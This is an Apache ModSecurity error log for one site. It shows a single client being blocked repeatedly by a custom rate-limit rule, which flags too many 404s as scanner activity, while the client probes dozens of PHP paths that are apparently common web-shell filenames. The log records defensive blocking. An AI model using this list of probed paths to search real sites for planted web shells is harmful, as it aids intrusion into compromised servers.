[Mon Apr 20 02:01:27.499160 2026] [:error] [pid 47772:tid 47797] [client 72.146.9.108:26332] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYd4c0L16cb4smAz8LAgAAAAg"]
[Mon Apr 20 02:01:27.969500 2026] [:error] [pid 47773:tid 47829] [client 72.146.9.108:25772] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYd-iBHdnCJDuPq9B3JQAAAE0"]
[Mon Apr 20 02:01:28.478880 2026] [:error] [pid 47773:tid 47840] [client 72.146.9.108:25450] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYeOiBHdnCJDuPq9B3JgAAAFg"]
[Mon Apr 20 02:01:28.950746 2026] [:error] [pid 15760:tid 15784] [client 72.146.9.108:26288] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeUYePSdD_XHQMJ_ISuwegAAAdA"]
[Mon Apr 20 02:01:29.423001 2026] [:error] [pid 47773:tid 47831] [client 72.146.9.108:26632] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeUYeeiBHdnCJDuPq9B3KQAAAE8"]
[Mon Apr 20 02:01:29.900917 2026] [:error] [pid 47772:tid 47800] [client 72.146.9.108:25384] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeUYeYc0L16cb4smAz8LBQAAAAs"]
[Mon Apr 20 02:01:30.386342 2026] [:error] [pid 47886:tid 47905] [client 72.146.9.108:26625] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeUYekSe8yiyuPrD7yOd5wAAANE"]
[Mon Apr 20 02:01:30.855478 2026] [:error] [pid 47775:tid 47843] [client 72.146.9.108:26333] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeUYermztjlk9tsmoexEygAAAIA"]
[Mon Apr 20 02:01:31.337843 2026] [:error] [pid 15693:tid 15713] [client 72.146.9.108:26686] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeUYe8NMD-ccazQlTslyPQAAAVE"]
[Mon Apr 20 02:01:31.843967 2026] [:error] [pid 15765:tid 15861] [client 72.146.9.108:25809] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeUYe_Rqinw-W5EwQ74eBQAAAog"]
[Mon Apr 20 02:01:32.412841 2026] [:error] [pid 15693:tid 15718] [client 72.146.9.108:26722] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeUYfMNMD-ccazQlTslyQQAAAVY"]
[Mon Apr 20 02:01:32.955923 2026] [:error] [pid 15693:tid 15698] [client 72.146.9.108:26653] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeUYfMNMD-ccazQlTslyRgAAAUI"]
[Mon Apr 20 02:01:33.446444 2026] [:error] [pid 15765:tid 15866] [client 72.146.9.108:24541] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeUYffRqinw-W5EwQ74eBwAAAo0"]
[Mon Apr 20 02:01:33.991475 2026] [:error] [pid 47775:tid 47863] [client 72.146.9.108:25356] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeUYfbmztjlk9tsmoexEzgAAAJQ"]
[Mon Apr 20 02:01:34.682855 2026] [:error] [pid 47772:tid 47792] [client 72.146.9.108:26714] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeUYfoc0L16cb4smAz8LDAAAAAM"]
[Mon Apr 20 02:01:35.200167 2026] [:error] [pid 47772:tid 47807] [client 72.146.9.108:26329] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeUYf4c0L16cb4smAz8LDgAAABI"]
[Mon Apr 20 02:01:35.675897 2026] [:error] [pid 15760:tid 15784] [client 72.146.9.108:25831] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeUYf_SdD_XHQMJ_ISuwfgAAAdA"]
[Mon Apr 20 02:01:36.291664 2026] [:error] [pid 15760:tid 15777] [client 72.146.9.108:25410] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeUYgPSdD_XHQMJ_ISuwgQAAAck"]
[Mon Apr 20 02:01:36.785869 2026] [:error] [pid 15765:tid 15855] [client 72.146.9.108:25749] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeUYgPRqinw-W5EwQ74eCAAAAoI"]
[Mon Apr 20 02:01:37.278891 2026] [:error] [pid 47775:tid 47844] [client 72.146.9.108:25403] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeUYgbmztjlk9tsmoexEzwAAAIE"]
[Mon Apr 20 02:01:37.821371 2026] [:error] [pid 15764:tid 15829] [client 72.146.9.108:25734] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeUYgWLL_sqdSHoVp-R38gAAAkM"]
[Mon Apr 20 02:01:38.306275 2026] [:error] [pid 47773:tid 47826] [client 72.146.9.108:25810] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeUYguiBHdnCJDuPq9B3LwAAAEo"]
[Mon Apr 20 02:01:38.818838 2026] [:error] [pid 47773:tid 47824] [client 72.146.9.108:26741] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeUYguiBHdnCJDuPq9B3MAAAAEg"]
[Mon Apr 20 02:01:39.325656 2026] [:error] [pid 15763:tid 15816] [client 72.146.9.108:25431] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeUYg7MXv1Y1THOoxaA6YAAAAhQ"]
[Mon Apr 20 02:01:39.850142 2026] [:error] [pid 15763:tid 15809] [client 72.146.9.108:25787] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeUYg7MXv1Y1THOoxaA6YQAAAg0"]
[Mon Apr 20 02:01:40.483439 2026] [:error] [pid 15763:tid 15815] [client 72.146.9.108:26330] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeUYhLMXv1Y1THOoxaA6YwAAAhM"]
[Mon Apr 20 02:01:41.022901 2026] [:error] [pid 15760:tid 15781] [client 72.146.9.108:25351] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeUYhfSdD_XHQMJ_ISuwiAAAAc0"]
[Mon Apr 20 02:01:41.522271 2026] [:error] [pid 15760:tid 15779] [client 72.146.9.108:25819] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeUYhfSdD_XHQMJ_ISuwigAAAcs"]
[Mon Apr 20 02:01:42.114311 2026] [:error] [pid 47772:tid 47791] [client 72.146.9.108:25805] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeUYhoc0L16cb4smAz8LEQAAAAI"]
[Mon Apr 20 02:01:42.690608 2026] [:error] [pid 15764:tid 15833] [client 72.146.9.108:26740] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeUYhmLL_sqdSHoVp-R39wAAAkc"]
[Mon Apr 20 02:01:43.181367 2026] [:error] [pid 15763:tid 15817] [client 72.146.9.108:26261] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeUYh7MXv1Y1THOoxaA6ZgAAAhU"]
[Mon Apr 20 02:01:43.680972 2026] [:error] [pid 15763:tid 15796] [client 72.146.9.108:26716] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeUYh7MXv1Y1THOoxaA6ZwAAAgA"]
[Mon Apr 20 02:01:44.215961 2026] [:error] [pid 15764:tid 15837] [client 72.146.9.108:26271] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYiGLL_sqdSHoVp-R3_QAAAks"]
[Mon Apr 20 02:01:44.684722 2026] [:error] [pid 47886:tid 47892] [client 72.146.9.108:25747] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYiESe8yiyuPrD7yOd7AAAAMQ"]
[Mon Apr 20 02:01:45.160082 2026] [:error] [pid 15764:tid 15835] [client 72.146.9.108:25434] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYiWLL_sqdSHoVp-R4BgAAAkk"]
[Mon Apr 20 02:01:45.680633 2026] [:error] [pid 15764:tid 15838] [client 72.146.9.108:24833] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeUYiWLL_sqdSHoVp-R4DAAAAkw"]
[Mon Apr 20 02:01:46.151784 2026] [:error] [pid 47773:tid 47840] [client 72.146.9.108:25795] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeUYiuiBHdnCJDuPq9B3NQAAAFg"]
[Mon Apr 20 02:01:46.633433 2026] [:error] [pid 15760:tid 15789] [client 72.146.9.108:25408] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeUYivSdD_XHQMJ_ISuwmQAAAdU"]
[Mon Apr 20 02:01:47.126436 2026] [:error] [pid 47773:tid 47816] [client 72.146.9.108:25417] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeUYi-iBHdnCJDuPq9B3OAAAAEA"]
[Mon Apr 20 02:01:47.702491 2026] [:error] [pid 15765:tid 15858] [client 72.146.9.108:26747] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeUYi_Rqinw-W5EwQ74eCgAAAoU"]
[Mon Apr 20 02:01:48.275940 2026] [:error] [pid 15694:tid 15744] [client 72.146.9.108:25808] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeUYjLimB-jol1fwqAorDQAAAZI"]
[Mon Apr 20 02:01:48.928709 2026] [:error] [pid 15764:tid 15832] [client 72.146.9.108:26668] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeUYjGLL_sqdSHoVp-R4IAAAAkY"]
[Mon Apr 20 02:01:49.519440 2026] [:error] [pid 47886:tid 47889] [client 72.146.9.108:25375] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeUYjUSe8yiyuPrD7yOd7wAAAME"]
[Mon Apr 20 02:01:50.059544 2026] [:error] [pid 47886:tid 47909] [client 72.146.9.108:26648] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeUYjkSe8yiyuPrD7yOd8AAAANU"]
[Mon Apr 20 02:01:50.596547 2026] [:error] [pid 47886:tid 47899] [client 72.146.9.108:26296] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeUYjkSe8yiyuPrD7yOd8QAAAMs"]
[Mon Apr 20 02:01:51.124034 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:26726] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeUYj7imB-jol1fwqAorEgAAAY0"]
[Mon Apr 20 02:01:51.678658 2026] [:error] [pid 15694:tid 15751] [client 72.146.9.108:25852] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeUYj7imB-jol1fwqAorEwAAAZg"]
[Mon Apr 20 02:01:52.258641 2026] [:error] [pid 15694:tid 15736] [client 72.146.9.108:25444] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aeUYkLimB-jol1fwqAorFQAAAYo"]
[Mon Apr 20 02:01:52.801586 2026] [:error] [pid 15694:tid 15734] [client 72.146.9.108:26696] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeUYkLimB-jol1fwqAorFwAAAYg"]
[Mon Apr 20 02:01:53.286702 2026] [:error] [pid 15694:tid 15725] [client 72.146.9.108:25812] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeUYkbimB-jol1fwqAorGgAAAYI"]
[Mon Apr 20 02:01:53.812644 2026] [:error] [pid 15694:tid 15738] [client 72.146.9.108:25379] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeUYkbimB-jol1fwqAorHgAAAYw"]
[Mon Apr 20 02:01:54.343249 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:25781] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plss3.php"] [unique_id "aeUYkrimB-jol1fwqAorIAAAAY0"]
[Mon Apr 20 02:01:55.004376 2026] [:error] [pid 47775:tid 47854] [client 72.146.9.108:24875] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeUYk7mztjlk9tsmoexE1gAAAIs"]
[Mon Apr 20 02:01:55.631519 2026] [:error] [pid 47773:tid 47836] [client 72.146.9.108:26671] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeUYk-iBHdnCJDuPq9B3PQAAAFQ"]
[Mon Apr 20 02:01:56.568198 2026] [:error] [pid 15694:tid 15742] [client 72.146.9.108:25728] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeUYlLimB-jol1fwqAorLQAAAZA"]
[Mon Apr 20 02:01:57.776111 2026] [:error] [pid 15694:tid 15749] [client 72.146.9.108:25748] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeUYlbimB-jol1fwqAorMQAAAZc"]
[Mon Apr 20 02:01:58.500141 2026] [:error] [pid 47772:tid 47809] [client 72.146.9.108:25751] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeUYloc0L16cb4smAz8LGgAAABQ"]
